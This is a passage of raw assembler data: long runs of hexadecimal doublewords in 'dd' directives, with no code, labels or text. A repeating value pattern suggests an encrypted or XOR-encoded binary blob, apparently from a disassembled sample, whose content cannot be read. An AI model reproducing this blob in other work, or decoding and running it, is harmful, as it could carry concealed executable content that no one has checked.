9C676E24h, 0BFBB9A8Fh, 0BD5914F2h dd 3256BAB6h, 3257D4BEh, 32AFAEB1h, 3242BEB1h, 404BABB1h dd 0D3E4E920h, 0B243CC92h, 0B08496E1h, 0C185826Bh, 32560ED8h dd 3256BF58h, 7C89B5B1h, 0C57E1F68h, 1B5996ECh, 1783194Eh dd 325615A2h, 0CA56BA48h, 32564E58h, 0D5CB25B1h, 5C5FACEFh dd 0B8496F5Eh, 4A98DA03h, 0B43518CFh, 0B65975B1h, 3256BABEh dd 32565758h, 0DFD715B1h, 0B9DC09A5h, 322450D8h, 325629B1h dd 3256E758h, 0C47343B1h, 877713D7h, 27F3785Eh, 3DBFD53Ch dd 0B25657B1h, 0F22C8C2Eh, 3F835E47h, 7901F23Bh, 3256334Dh dd 3256B158h, 5EA5B5B1h, 958D59D7h, 5035B966h, 22BFABB1h dd 0B956D5B1h, 8A245089h, 70E721DCh, 0F7A6DE61h, 325A15BFh dd 21BFCEB1h, 0FA5657B1h, 0DD554FBEh, 0E426B4F2h, 23607639h dd 53DF673Fh, 603683CFh, 32373CE8h, 0AAECCEB1h, 6067094Bh dd 20F87408h, 32378FCCh, 3FD5E5B1h, 0DB5675B1h, 3256BAB9h dd 0A0196396h, 547F5A7Eh, 38BF57B1h, 0DD56ABB1h, 0B36731C4h dd 2053343Ah, 0DB5675BFh, 3256BABBh, 0E867D295h, 5966B324h dd 325673B2h, 34D6A4D1h, 3D56D5B1h, 3256EA35h, 0F5E17AB1h dd 3D56BAD0h, 32565930h, 5336CEB1h, 0DB5657D0h, 3256ABB4h dd 0D3343AADh, 5256EAC2h, 3250F2BEh, 0DAD7BAB1h, 553107A3h dd 53087931h, 32A357B1h, 325A42B1h, 12ADD5B1h, 954F46D2h dd 0B7D18844h, 3256F5D3h, 0CE565D44h, 3BBFAEB1h, 0E35657B1h dd 0D7A0E956h, 7A0064B1h, 32AFEAB1h, 0B93015B1h, 0EBE1B573h dd 0CB565DD0h, 32AAAEB1h, 3256A2B1h, 5256AB49h, 3256C759h dd 84FA40B1h, 0F6A38901h, 1B9E12DCh, 3374A943h, 0DB76A1F5h dd 325657B9h, 0A6B697CEh, 3B02B08Ch, 53B65EEFh, 32AF75B1h dd 324253B1h, 98AA5DB1h, 0CA68C8B4h, 0F05B4A31h, 8220EE53h dd 37D7768Dh, 3256A0FAh, 32567C58h, 8BB5B7B1h, 0D851D753h dd 0BE597864h, 325657A3h, 3256A658h, 0E55C6EB1h, 0CCE63AAh dd 0F5E54D0Bh, 32560F81h, 52565D44h, 0B3C7F30h, 0F8D65F11h dd 32AFCAE3h, 32513CB1h, 0EB64EAB1h, 0F0582A71h, 0C756BA94h dd 3DBF5DB1h, 9F56AEB1h, 0A2D1C586h, 8A931D9h, 587E120h dd 32560D17h, 32449CD1h, 3189BAB1h, 0A499F89h, 0DCE3E8EFh dd 97AAD720h, 606A1A77h, 3D56D5D0h, 3256E43Fh, 325F9CB1h dd 8DADBAB1h, 69EA1ACCh, 3DBD23B4h, 32565F37h, 5336CBB1h dd 0E79F6AD7h, 0DB56EAD0h, 325675BAh, 0A3C4ABA3h, 84CD2D6Dh dd 32A01614h, 3EBF37B1h, 0F956ABB1h, 4FE5FB1Ch, 0FA8C62h dd 549DCFF2h, 0E1504B30h, 0EADD3DD0h, 32372706h, 3CBE37B1h dd 0EF56ABB1h, 0B9C253D7h, 0F148EEB2h, 6756DC06h, 0AA9D3A52h dd 0EBD73BE9h, 3D37D1E7h, 32564333h, 39BFCBB1h, 0A356D5B1h dd 136AA469h, 301B0FE3h, 6D01DCDCh, 0CE565DD0h, 32A3AEB1h dd 0B33037B1h, 52A30C61h, 0D9406CD7h, 53378BD1h, 32567858h dd 258F79B1h, 65C1D85Bh, 47201EE1h, 3256DE84h, 324E22BEh dd 21BFD5B1h, 0ED56EAB1h, 0B9EDA29Bh, 43650269h, 0D0B8A92Fh dd 0A55F3C88h, 32567FDAh, 0DB56AB49h, 3256D5B4h, 32CA98A7h dd 5256753Fh, 3256B459h, 0B23EBBB1h, 7BA83D9Ch, 97A2FC3Dh dd 0DB21ECFFh, 3256D5B6h, 0F6C21383h, 68F1F513h, 0F78D3BD1h dd 0DB2D25A5h, 3256AEBFh, 31FA3AF1h, 0EF266546h, 258ACB56h dd 533742A6h, 873675B1h, 3256DBA0h, 3257D9BEh, 32AFAEB1h dd 3256AEB1h, 3256A158h, 140209B1h, 660EFAF1h, 324A1C03h dd 325642B1h, 3EE83BD1h, 0F71E16CCh, 32376908h, 33D2A4B1h dd 0CA56D5B1h, 325A6DBEh, 0B55975B1h, 3256BAB7h, 3256DFBEh dd 3256AEB1h, 32565D58h, 0D1FFC3B1h, 20018C04h, 32366709h dd 3BD27AB1h, 5256BAB1h, 32DA5248h, 5356AEB1h, 0BC5957B1h dd 3256ABBAh, 3256D358h, 916859B1h, 3260F53Ah, 325646B1h dd 3251D5BEh, 0B959AEB1h, 325657B0h, 0C756AB48h, 0CAAFD5B1h dd 0B059EAB1h, 325675BDh, 32503CBEh, 0BF595DB1h, 3256AEB1h dd 0CA3657B1h, 324E25BEh, 21BFD5B1h, 1056EAB1h, 334F5B42h dd 4DBC6B20h, 2E1FB38Ch, 9DDE6147h, 32371528h, 32565EB1h dd 3256DF58h, 3ABE6FB1h, 0D5DFD50Eh, 0DB4DE1BBh, 32565DB4h dd 6D945651h, 0DB565721h dd 3256ABBEh, 0DB61818h, 0ED628D4Bh, 0B5A9C11h, 32DD3E25h dd 3256A4B1h, 3256A058h, 68DD3AB1h, 645E9229h, 77630CF0h dd 32C00B7Eh, 32479CB1h, 37E8BAB1h, 7CFA5F83h, 0A72796D9h dd 22A51BF3h, 5223D8E4h, 3237023Bh, 0F8EE8AB1h, 5365BA46h dd 21BFBAB1h, 19565DB1h, 5BB4D059h, 0DE4AA81Dh, 0C0E9E1BAh dd 9598910Bh, 32560AE1h, 325AF6BEh, 0B959BAB1h, 32565DB7h dd 325628BEh, 325657B1h, 325A28BEh, 0B059D5B1h, 3256EAB7h dd 3256FABEh, 0B159BAB1h, 32565DA1h, 325F47D1h, 1C0557B1h dd 0CA56FD88h, 537A8653h, 3FBFEAB1h, 535675B1h, 0B86E414Eh dd 0F62533F4h, 0B06DF162h, 32AF57B1h, 325142B1h, 2F7BD5B1h dd 6F7031E9h, 0DB56758Dh, 3256BAB7h, 0F5CBF632h, 3256FDFBh dd 325ADEBEh, 0B259ABB1h, 3256D5B7h, 32566BBEh, 325675B1h dd 0DB56BA49h, 32565DBBh, 4808AA72h, 500FF170h, 32564B6Ah dd 8DA86DD1h, 0B3308045h, 53276563h, 3256B058h, 76435FB1h dd 0CFF8A0E2h, 3266E6C3h, 32565EB1h, 0B859B549h, 3256EAB0h dd 32561448h, 325F5348h, 76325DB1h, 28C47E71h, 3271C9D3h dd 324642B1h, 847AD5B1h, 50322081h, 0FBD217C9h, 0BF7FF79Ah dd 20BFD1F6h, 0C956AEB1h, 0CF474037h, 9669E13Ah, 3D80F4A9h dd 0E38E3093h, 525675E2h, 7C8005D1h, 0D5D63B8Bh, 8930CF5Bh dd 32376442h, 325657B1h, 324253BEh, 3DBFEAB1h, 0F45675B1h dd 712B19A9h, 7CE08FDEh, 0ABDEE7A3h, 52361334h, 3256BB58h dd 0FDC762B1h, 73723DCCh, 0DBEB8B2Eh, 30EC52F6h, 0C0D73B55h dd 5337E1FAh, 523657B1h, 3256A158h, 0FC801BB1h, 0B2214690h dd 3DD989D3h, 0DB37630Eh, 32565DBDh, 0DFC2FE4Ah, 0F2C2D2D8h dd 0E42CBE31h, 0DB56D5D0h, 3256EABEh, 0ACB24952h, 7CEE7740h dd 5B0528EDh, 0DB263142h, 325657BAh, 0FCE6330Ah, 53D3F12Ah dd 32870693h, 32AA80B1h, 28DEB5B1h, 52565DB1h, 23BFF0E3h dd 195657B1h, 992DA5C7h, 7F14C9E4h, 13960EBh, 455B05AFh dd 0C756BAD0h, 32A35DB1h, 0E1E8CEB1h, 0CA041B3Fh, 0E4D7CBD0h dd 548D06C5h, 53845DBEh, 0BD5975B1h, 3256BABFh, 6186DCD1h dd 3D143D9Dh, 3256573Fh, 3256CAB1h, 3D56D548h, 3256EB3Bh dd 325689B1h, 3D56BA44h, 32565C3Bh, 37BF52B1h, 0CF5657B1h dd 0CCA285A5h, 38BFD5B1h, 56EAB1h, 82D8AA93h, 73FA1115h dd 3CD15266h, 0DB56AEB1h, 325657B8h, 0F6ADC0B9h, 0AF2271AAh dd 5256EA9Bh, 538FFED7h, 22BFBAB1h, 0FE565DB1h, 1C28D2D5h dd 0D383900Fh, 10F3CB6Dh, 325DFD39h, 3EDBE5B1h, 3D5675B1h dd 3256BC3Eh, 32DC52B1h, 3256AEB1h, 3ADD58B1h, 3D56ABB1h dd 3256D734h, 32378AB1h, 33DE7AB1h, 0CB56BAB1h, 3D565D48h dd 3256A538h, 3250BEB1h, 0A5A5ABB1h, 68FE5A14h, 38BFEAB1h dd 0BC5675B1h, 49789FAFh, 0BA38453Ah, 0C756AEB5h, 613657B1h dd 0B936F348h, 12A06A62h, 53378EA5h, 0B45975B1h, 3256BAB9h dd 3254D3BEh, 5336AEB1h, 3CBF57B1h, 5556ABB1h, 0A2B6CD0Ch dd 0CE3049DAh, 3269F3E2h, 5256BABAh, 3252DABEh, 8930AEB1h dd 3237CC02h, 325657B1h, 5256D549h, 47896BD7h, 38BF2720h dd 6056BAB1h, 2FEAECF7h, 2F5D7B20h, 32370F27h, 325842B1h dd 21A2D5B1h, 0DEA806F0h, 605C993Ch, 0A110AEA4h, 34BF5DB1h dd 5156AEB1h, 85DCA5DEh, 0DB56ABD7h, 3256D5BEh, 96FDB655h dd 56581CB5h, 4F4E6A97h, 52CC33CBh, 629425D7h, 32565259h dd 18D4A9B1h, 680D8D2Dh, 3D56EAD0h, 32566137h, 325953B1h dd 0B5525DB1h, 7CDF67D3h, 47AC3292h, 726D7EB0h, 5256D52Eh dd 325462BEh, 533675B1h, 3256DB44h, 3249D5BEh, 0BA59AEB1h dd 325657A8h, 3256BF58h, 585FFAB1h, 0D6E0A2F9h, 97F9F1C9h dd 0A0D3CD26h, 0B859134Ch, 0DB56AEB3h, 325657BAh, 458F485Ch dd 0E4A6AA36h, 0DB9F27B9h, 325675A3h, 350CB2ACh, 765EDA0Bh dd 39E72115h, 1B930AE8h, 32566444h, 3D56D544h, 3256E43Eh dd 325F9CB1h, 0F85ABAB1h, 39A5C809h, 32CF7152h, 3256ABB1h dd 3256BB58h, 0B4A1FEB1h, 0FA87355Ah, 6260E819h, 0BBE7C728h dd 0DB565DF7h, 3256AEA3h, 93217471h, 0B0CB3734h, 7EF9E0DAh dd 0D7AB591Fh, 32569474h, 0C756BA49h, 32AF5DB1h, 32AF57B1h dd 3FBF37B1h, 8156ABB1h, 0AC30B026h, 37612CF2h, 0A6EDD7D0h dd 53A90DBEh, 3CBF5DB1h, 7F56AEB1h, 5CC5CAAEh, 223EFDA0h dd 8FED0441h, 0CE56EAB5h, 325AF9BEh, 0BB59BAB1h, 32565DB7h dd 325624BEh, 325657B1h, 3251424Dh, 0F35BD5B1h, 6EF62646h dd 3D567576h, 3256BB3Fh, 3256A4B1h, 325029BEh, 0B93657B1h dd 5337CB46h, 32AAD5B1h, 3EDCE5B1h, 3D5675B1h, 3256BC33h dd 32DF52B1h, 3256AEB1h, 325EBEB1h, 5F72ABB1h, 0C8E35FB9h dd 3256E894h, 0DB567544h, 3256BAB4h, 27C87D11h, 0DB56AE59h dd 325657B9h, 0D38CCEF2h, 0C27AF80Ah, 3BBFEAB1h, 105675B1h dd 7DECC5C0h, 0C1DE0EEFh, 0B759AEB1h, 325657B9h, 325425BEh dd 5336D5B1h, 3FBFEAB1h, 8D5675B1h, 997B52E1h, 0CC67026h dd 0BE5734D3h, 0DB3657B1h, 3256ABBEh, 463B0D77h, 0DC028ED5h dd 0FABC65B3h, 0B2D3C2AAh, 32376F69h, 32565BB1h, 325EBED1h dd 2B80ABB1h, 0DA3AC868h, 32378918h, 32459CB1h, 3920BAB1h dd 6619CD35h, 0FB24CB5Ah, 1AE997C8h, 29AE8469h, 3D56D5F9h dd 3256F438h, 2AD77AB1h, 0DB56BAB1h, 32565DA2h, 728E6D28h dd 84A4D4E3h, 0F853ED9Fh, 61EDEA96h, 52C9C066h, 32569D4Dh dd 0B30CBAB1h, 3FDC215Bh, 3DD7A1B7h, 0DB5657B1h, 3256ABBBh dd 9733215Ah, 57CEDCE4h, 0BFAA0230h, 3EDC5734h, 0B0DFA1B7h dd 345BDC8Bh, 0D4D4DA44h, 5250A5D6h, 4ABE54E6h, 6944124Eh dd 32D47AE1h, 6A56BAB1h, 5DD4D4D0h, 0DB50A3C3h, 325657BDh dd 71F34868h, 7D3B2026h, 5FE87EFAh, 3265BC59h, 325F53B1h dd 0D4575DB1h, 0A3033051h, 0DAC7096Ch, 3256A9C1h, 18AD6DD1h dd 26BFAE27h, 0E5675B1h, 0E24FD5E1h, 7604EEE4h, 80594817h dd 7373C4F3h, 53F3693Fh, 3256C558h, 9932F3B1h, 2F67DD5Dh dd 1FE8EEC5h, 24DD0400h, 0BAD4693Ah, 32505AC0h, 3D56ABB1h dd 3256DC39h, 29E98AB1h, 637D6C54h, 0C704DBEFh, 1E53D877h dd 0CE00A8B6h, 9AEE05D9h, 325E422Dh, 530ED5B1h, 0B86E114Eh dd 87A91BF4h, 34518B1Ch, 32565458h, 1F4BCEB1h, 29E728FFh dd 0B7DB8722h, 345CAEAEh, 98B66BD1h, 533736F2h, 0BBA36A4Eh dd 35705434h, 0F4D7CEB7h, 790D0450h, 3256A058h, 9ED0FBB1h dd 92C8EF63h, 0A122078Fh, 3D52D0D0h, 32564A30h, 0DAA3CEB1h dd 325657BFh, 4ABFCF96h, 638BB7E2h, 5800B93Dh, 530F03BEh dd 3246BAD9h, 723EA5B1h, 0DB56ADBCh, 325657BDh, 56B607EDh dd 9F4853B1h, 0C5ADE672h, 0B93675DBh, 58C3B43h, 5368EB97h dd 52865144h, 54369D3Ah, 0B930633Ah, 6837B44Ah, 3256F858h dd 26F5D4B1h, 15FFBED5h, 2ED7B5A5h, 0A874E17Fh, 39D9E2F0h dd 1BD2A471h, 0CB56D5B0h, 43DE6838h, 21BF73BCh, 8856BAB1h dd 7EB73809h, 0C056BEE9h, 89DA9B4h, 0D22A4D64h, 0B0DFC165h dd 345B9B2Ah, 3244FDBEh, 3D36BAB1h, 32565D34h, 325347B1h dd 0EEBF57B1h, 53CA8DD9h, 325755BEh, 8BA3EAB1h, 325578F1h dd 0CADDDBD1h, 37DA52D1h, 5456AEB1h, 6EAAB130h, 3256A458h dd 0DF0CBBB1h, 0CF6C496Eh, 0BD36D3D7h, 7FE5448Ch, 0F265A5D0h dd 32472DBEh, 3EBF57B1h dd 456ABB1h, 578B1BABh, 0CB3EAF85h, 0C1B45A33h, 3246531Bh dd 9A105DB1h, 94CECFEAh, 6992EC43h, 9767EBBCh, 0DB045908h dd 3256EAA1h, 1CEF162h, 46F60E60h, 9B126678h, 0D24E13D6h dd 3CBF53DBh, 3756ABB1h, 7D9B0BB2h, 98C3031Ah, 0F5DA5015h dd 2256D232h, 0BC595DB1h, 3256AEBEh, 32565D58h, 63BEAFB1h dd 0CD8B2DE0h, 5A7223B6h, 325671B1h, 32573DBEh, 58AE5DB1h dd 39DEA1B1h, 525657B1h, 0C8744B30h, 0F6D6AF87h, 0A0A98B2Dh dd 345153B8h, 37D5B5D1h, 54565DB1h, 2D195E30h, 535A9D31h dd 0B0DF52EBh, 345BA10Dh, 0E5E9E5D1h, 5381FED7h, 324253D0h dd 5FBC5DB1h, 6CF32A0Fh, 0C109E18h, 0B72969E9h, 22E4F09Bh dd 0B7DD69CBh, 345B0439h, 0CE95434Dh, 325CB4D1h, 6E65AEB1h dd 0CD14F1D9h, 841BCD63h, 385B5776h, 3256ECB6h, 0B05975F1h dd 3256BAB0h, 77D49A4Dh, 3250A99Dh, 525657A1h, 54A820D7h dd 5337243Ah, 3256E058h, 110232B1h, 42B4159Ah, 0F10A7AD0h dd 35BFCE44h, 225657B1h, 2A4773ABh, 88DDC8B5h, 345B9B39h dd 3269F648h, 328E3EBEh, 0B1A35DB1h, 3D54BECEh, 32563635h dd 0DB05CBB1h, 3256D5A0h, 0E3A14610h, 0E7EF6A1h, 7CDD2BCAh dd 2D49E27Ch, 0FAD7F50Eh, 4ED98E8Bh, 222928D0h, 58D2DAB5h dd 0DB56EAB1h, 325675A2h, 9BD7E5C8h, 0A571AFCBh, 5A823A78h dd 0C0073C3Fh, 0B1B3667Dh, 0DBA3C176h, 0CDA91510h, 32566458h dd 0C57D31B1h, 0E389B637h, 4CB0679h, 832BCEE1h, 7591ED38h dd 3256D4A1h, 0E6BF12B1h, 3DA98A4Eh, 3256AA36h, 34BE3DB1h dd 56AEB1h, 93320887h, 6D05F105h, 38D8DAD0h, 5256EAB1h dd 0F9D714D1h, 6AF7B366h, 22119AD0h, 3256AEB2h, 3257DBBEh dd 0DBA3ABB1h, 0CDA92A2Ah, 3256E558h, 0E2545BB1h, 0FB0E7115h dd 9749F816h, 0BAE1336h, 325AD8BEh, 0B259ABB1h, 3256D5B7h dd 325663BEh, 3D3775B1h, 3256BB3Ch, 5295A1B1h, 54364503h dd 0B327B630h, 3256B958h, 6D2562B1h, 0C8295BAAh, 3D98A916h dd 26A049BBh, 539B9B98h, 0B9AAFBD0h, 0DB36A25Dh, 3256ABB8h dd 0E0018DEh, 9152DCD8h, 32569D78h, 0B30CBAB1h, 3FD8815Bh dd 0BF5956B7h, 325657B0h, 0B9595E4Dh, 3256D5B6h, 32576BBEh dd 0B9A375B1h, 3F225E03h, 77DDA1B7h, 35D6A1B9h, 3D5657B1h dd 3256AA33h, 34DF20B1h, 325762BEh, 0CBA375B1h, 46B23832h dd 3D525BBCh, 3256B735h, 3242BEB1h, 6169ABB1h, 0DEC69E2Ah dd 0E28F48AEh, 0C3DBAE24h, 59D0CD33h, 3D371538h, 3256A439h dd 6A0637B1h, 325620BEh, 0FB37D5B1h, 325163BEh, 0B85975B1h dd 3256BAB0h, 32529F49h, 325A28BEh, 0B15957B1h, 3256ABB7h dd 325656BEh, 3D36EAB1h, 3256613Ch, 325953B1h, 0A9335DB1h dd 53E0DA4h, 0B2CE3CD6h, 4E6F4F4Ch, 32563D4Ch, 0B30CEAB1h dd 3FD9E15Bh, 3ED6B5B7h, 3D565DB1h, 3256A83Dh, 32DA58B1h dd 5256ABB1h, 22BF1A3Ah, 0F256EAB1h, 83E35E60h, 0ED222440h dd 94264C51h, 531C1BEBh, 32564558h, 0B03B0DB1h, 0B105FAAh dd 77507D4Fh, 4BA03BA3h, 0B942B7D6h, 3F22E103h, 806D52B7h dd 345B2355h, 30522FBEh, 0B359D5B1h, 3256EAB7h, 62B8FFD1h dd 0CDDDBEAh, 32D452D1h, 5356AEB1h, 0DB36883Ah, 3256ABBDh dd 2F9CEED6h, 35EDB96Eh, 689ED684h, 3256A958h, 0E09A14B1h dd 22E1CA54h, 0D70AC9F8h, 0D18503BFh, 15D13A16h, 7DE0E5D0h dd 325B9CB0h, 0EF7ABAB1h, 56B10E7Ah, 1D406918h, 0C49C9607h dd 3DD6AAF6h, 32569034h, 0DDDC8AB1h, 42CB9230h, 0DB37DEE2h dd 32565DB8h, 27819A4Eh, 0A5CE576h, 528FA8D2h, 325052BEh dd 0B259EAB1h, 325675B1h, 0E4DDDCD1h, 5337853Bh, 3256B158h dd 325ABEB1h, 0EBC1ABB1h, 0E8319582h, 0CD1847DAh, 0EB7DCCFFh dd 325034BEh, 54365DB1h, 53AF663Ah, 37BE37F2h, 7856ABB1h dd 756AE1A7h, 6414C50Fh, 23BF2EA7h, 9156BAB1h, 52125960h dd 18B65CCCh, 12B61FC3h, 0BE80276Fh, 3ABFB5D0h, 0F556EAB1h dd 9B3F0CA1h, 549C5A63h, 5311720Eh, 0B7DD52F2h, 34514228h dd 0C1B613D1h, 0B459B8B9h, 3256EAB0h, 0BFDD144Dh, 3451BAA0h dd 3250B4D1h, 0AEC2AEB1h, 864DE333h, 3256AE59h, 24719EB1h dd 0D6EE90FEh, 6D31B4AAh, 3D8E81D0h, 3256D833h, 0B330CEB1h dd 0B361D542h, 7871D066h, 8136B4D8h, 324202DDh, 0E04E75B1h dd 8BF54E48h, 0B0B88993h, 0D94ED06Fh, 8B3F3E88h, 33EC8389h dd 6B585E74h, 3D8FD1D0h, 32563836h, 3AD7B5B1h, 3D565DB1h dd 3256AC3Eh, 0B13737B1h, 38BFAF77h, 3156D5B1h, 9059BC2Fh dd 0C34F4B58h, 3EDAB5C7h, 3D565DB1h, 3256A83Ah, 32D158B1h dd 0DB56ABB1h, 0CDA92BE3h, 6A826AD1h, 32567359h, 0B6D0B1h dd 899A855Eh, 31F0F421h, 0FD6D36EEh, 32122FBEh, 0B859D5B1h dd 3256EAA2h, 32567B58h, 9CA1D9B1h, 0CD84B395h, 4A5D0493h dd 0BBE935A4h, 3556BA0Ch, 35BEB5B7h, 4756EAB1h, 0C875A048h dd 0B959A032h, 32565DB1h, 0C6BFCFEFh, 52A9A84Ch, 0B39E1CBEh dd 0FF4C5076h, 52378BB0h, 19A0F4D7h, 21983B6Dh, 533D5062h dd 325C4772h, 582657B1h, 1663F5E8h, 7135101Eh, 325760BEh dd 52A375B1h, 53AE4FD1h, 37BE0ED1h, 8456AEB1h, 87E2732Dh dd 0F3D7F2EAh, 62AF9C62h, 325602D0h, 0B30C75B1h, 3FC4825Bh dd 0B659A1B7h, 3256AEB0h, 8EECDC44h, 5250A6C5h, 3256D058h dd 2C18E0B1h, 890142D4h, 1ADCA53Eh, 32EF3CE9h, 3D56AEB0h dd 32565634h, 34BF52B1h, 0E756D5B1h, 704D10FAh, 0CA964613h dd 20BF1142h, 0D7565DB1h, 0C209CCC4h, 0A3A52C47h, 0A5BE3162h dd 0CD8F8EF1h, 8ED46192h, 525078C5h, 325539BEh, 8D595DB1h dd 5FA02F60h, 53049DACh, 46B22938h, 0BA59D3BCh, 3256EAB6h dd 0FDE97AD1h, 5337DBD1h, 52A39E44h, 32564648h, 0B30C57B1h dd 3FC4635Bh, 2EEB5B7h, 545E43EAh, 0FECCB330h, 0B79042D0h dd 345171B4h, 3AD3A1E7h, 3D5657B1h, 3256A93Ah, 5A37B5B1h dd 0E6498788h, 32D77AD1h, 5456BAB1h, 3667AA30h, 9FE351D0h dd 0CE505080h, 49492E3Ch, 0BC59D3BBh, 3256EAA1h, 32567E58h dd 4C382CB1h, 53ECCC99h, 169E93F8h, 6036874Eh, 0DA0DCAD1h dd 3256D5A1h, 0A62FEF4Eh, 2DE505F5h, 0FB50A952h, 65BDA04h dd 0FEB0D309h, 52370DF7h, 3256A159h, 0C5E0F8B1h, 38A6C99Ah dd 807CD9CFh, 0B330E0D9h, 53485D63h, 325E47E3h, 0E33857B1h dd 596CB298h, 0DB063CFCh, 3256EAA3h, 0CC3D68CFh, 5D736360h dd 448D5515h, 0DD61CECFh, 323EB166h, 0CE56AB31h, 0CAA3D5DBh dd 43DE584Eh, 3D3673BCh, 3D014C06h, 32565D37h, 0CD37F1B1h dd 3EBE3761h, 9256ABB1h, 16B5B720h, 5F28C77Ch, 3DD7EA7Bh dd 54096806h, 53C9C80Ah, 324547E9h, 3A0557B1h, 4A2B9D91h dd 0B2FDBDB6h, 6ACDC8A7h, 14CE94C8h, 24DCB5BDh, 3D565DB1h dd 3256BE37h, 325DBEB1h, 0F500ABB1h, 0B5FA844Ch, 6DAD9E2Bh dd 0B3362F22h, 0F9855B7Eh, 5AAE3CDCh, 32562EB1h, 0B33001D1h dd 6BE80D7Ah, 53C33B31h, 3256FE58h, 0D89EA6B1h, 0EC99A661h dd 2845CA50h, 4352C248h, 0F5815138h, 5256C1D5h, 32555FBEh dd 8D59EAB1h, 32449C7Bh, 0AB93BAB1h, 67354AE9h, 0C1C7BDF5h dd 9E2BD5F6h, 0B9F3B002h, 8EE42AD0h, 5250E7C5h, 0A784A330h dd 88E7F0B7h, 5286A2D0h, 325422BEh, 0DDDC57B1h, 539520D7h dd 3D952CD0h, 3256EE3Ch, 533615B1h, 2DDFB5D0h, 52565DB1h dd 3256BF59h, 299AF7B1h dd 0B58A85DDh, 146F47Bh, 9EC79D8h, 3D0E8EAEh, 3256BA3Eh dd 52033CB1h, 324647D1h, 238957B1h, 0E2046C44h, 5CEEB825h dd 48EAB2D9h, 3D37D726h, 52376006h, 37E83BD1h, 0DA07CF65h dd 325657BCh, 0F4883120h, 87E49D55h, 3C92EA03h, 530E2AA8h dd 3D36563Ah, 8B309E0Eh, 5237843Ch, 3258D0BEh, 3D36ABB1h dd 3256D538h, 32DAE5B1h, 535675B1h, 3256BA59h, 0D8D707B1h dd 345B3A4Eh, 83EF31D1h, 0E4DDCD01h, 8830B5D0h, 54363B20h dd 544A840Fh, 5337423Ah, 0DB5E283Ah, 3256AEA0h, 0A10EB20Fh dd 0D9DC15CAh, 590A71B2h, 864070Eh, 3C049DE7h, 35BFBAB1h dd 0AF565DB1h, 3297E289h, 0DB0305CCh, 3256ABBDh, 0FA92DF87h dd 0BE664294h, 9E737151h, 406C284Eh, 0DBA35BBCh, 3256AEB7h dd 0DF743F79h, 0CE0B90C6h, 3D5AA08Ah, 0CDA92A34h, 33D57A4Eh dd 0CB56BAB1h, 32585659h, 39D9A1B1h, 525657B1h, 14C77530h dd 8D59AD82h, 0DB378B6Ah, 325675B9h, 29ECC975h, 875166B3h dd 32444778h, 67C457B1h, 627E8C4Ch, 5A54832Ah, 3AB10DADh dd 35912595h, 0DB56B273h, 32565DA0h, 0AC0771DAh, 3F292D65h dd 9C35F1ADh, 0E8054549h, 0DB0313BEh, 325675A0h, 0B81BC890h dd 0D9E33E9h, 327256E3h, 886DA0F7h, 52BA20A2h, 1AFA6EE2h dd 530D949Ch, 3DAAB132h, 3256AF32h, 3246B4B1h, 4ADFAEB1h dd 0AD292B42h, 0CEC4A19Dh, 0D07D2D6Eh, 0CA005D25h, 325D9CE6h dd 8C6FBAB1h, 0A085F409h, 1EE02EBAh, 34BF04E2h, 0AB56ABB1h dd 17CB842Dh, 325602DAh, 0B30C75B1h, 3FC0825Bh, 37D252B7h dd 5256AEB1h, 538DE0BEh, 28D0A4D1h, 0DA56D5B1h, 3256EAA5h dd 67D1B8B7h, 4A4FFDA1h, 896B6752h, 70D203E8h, 0A6389B14h dd 51882AEEh, 53516E09h, 525E9F3Ah, 325AFEBEh, 35BFBAB1h dd 0BE565DB1h, 82900C6Bh, 0A0ED685Dh, 530004F1h, 222B5E4Dh dd 64AABD44h, 3250F9BEh, 5236BAB1h, 530C0BD0h, 32571259h dd 6CEE37B1h, 0B37DB5AAh, 0D3C0B052h, 3ABF8BCFh, 0BC5675B1h dd 351F814Dh, 3916B192h, 1BD2A171h, 3D5657B0h, 3256AA3Bh dd 0CADD29B1h, 32516ABEh, 0BA5975B1h, 3256BAB0h, 3245B44Dh dd 0B446AEB1h, 0AAA921Fh, 46F109A4h, 6526BD07h, 9E8B15C2h dd 3FBF20A2h, 9A56BAB1h, 2E3A0C8Ch, 2752FE7Ah, 0A8CDC3E7h dd 325723BEh, 0CDAED5B1h, 3F24D023h, 2BDB7AB7h, 5256BAB1h dd 32565259h, 0CFC7DBB1h, 2978D2BAh, 33A8B0A7h, 989D5BB9h dd 530FB8EBh, 0FCD713D1h, 0DB04B1D2h, 32565DA3h, 1C2F1126h dd 1234AB36h, 0EA89B771h, 0A04E0AEDh, 530F3E23h, 32509CECh dd 0B3B9BAB1h, 1DA9A868h, 325E24BEh, 0B35957B1h, 3256ABB3h dd 476DB4D1h, 4BD2E5BDh, 525675B1h, 73E8C400h, 53430E35h dd 0CA4825D7h, 0CAA6B031h, 3D36B53Bh, 0B0591A0Eh, 3256EAB5h dd 0D49ECED7h, 0C2B53AD0h, 0F9DD3BD1h, 39BFCED0h, 0D95657B1h dd 0DD72DE9Eh, 0FB78B66Bh, 0FADDA89Ch, 11BB9DD0h, 3FBFBAB1h dd 0C5565DB1h, 0EA2013FCh, 81C7040Ch, 43D58C5Fh, 3256DA58h dd 5E1E04B1h, 0D0CED8D4h, 1448CB02h, 9B5AA4CBh, 0CDA80258h dd 3250BE4Eh, 0BA2FABB1h, 73BA6798h, 3DAA9738h, 32566539h dd 325D53B1h, 34A85DB1h, 4E60BF7Fh, 31A14961h, 0C7C543E1h dd 69AA2A4Eh, 6CA3B544h, 0CE13FE44h, 325952D1h, 45AA5DB1h dd 3746ED61h, 0DAE83EE5h, 6662252Ah, 1388544Fh, 6C30B42Bh dd 32567358h, 0B2B564B1h, 53657AAFh, 32534778h, 5F6D57B1h dd 0F0A344B4h, 3D36D5BDh, 3256EC3Fh, 0F1B5F4B1h, 5451B34Ch dd 0C16E9A30h, 0B9A3FBD0h, 3247BE5Dh, 605AABB1h, 1E9083C6h dd 0A5772h, 0EF5D6022h, 0CECF8971h, 0DBAE9932h, 3256AEB7h dd 21B18F41h, 5201E89Bh, 32545CBEh, 5336EAB1h, 64376706h dd 3256BC58h, 4A0632B1h, 63629E51h, 0F8DD31D1h, 0AAFE3E0Fh dd 22BFB4B8h, 2156EAB1h, 9F56E4DFh, 55D0DF4h, 0FFA3AA01h dd 6151F945h, 32565158h, 53CB9EB1h, 0F553F8FBh, 325612F4h dd 0F5AE75B1h, 3F256433h, 32565CB7h, 47DD56B1h, 0BC5937B9h dd 3256ABB3h, 5437043Ah, 22BFF43Ah, 3F5675B1h, 6C78E421h dd 311E5CDh, 0F7F79933h, 0B9863BD4h, 3F27230Bh, 0B930B5B7h dd 0FCD78C67h, 0B937C0F2h, 39AAB2EEh, 63D2526Ah, 0CA56AEB1h dd 0B759898Ah, 3256ABACh, 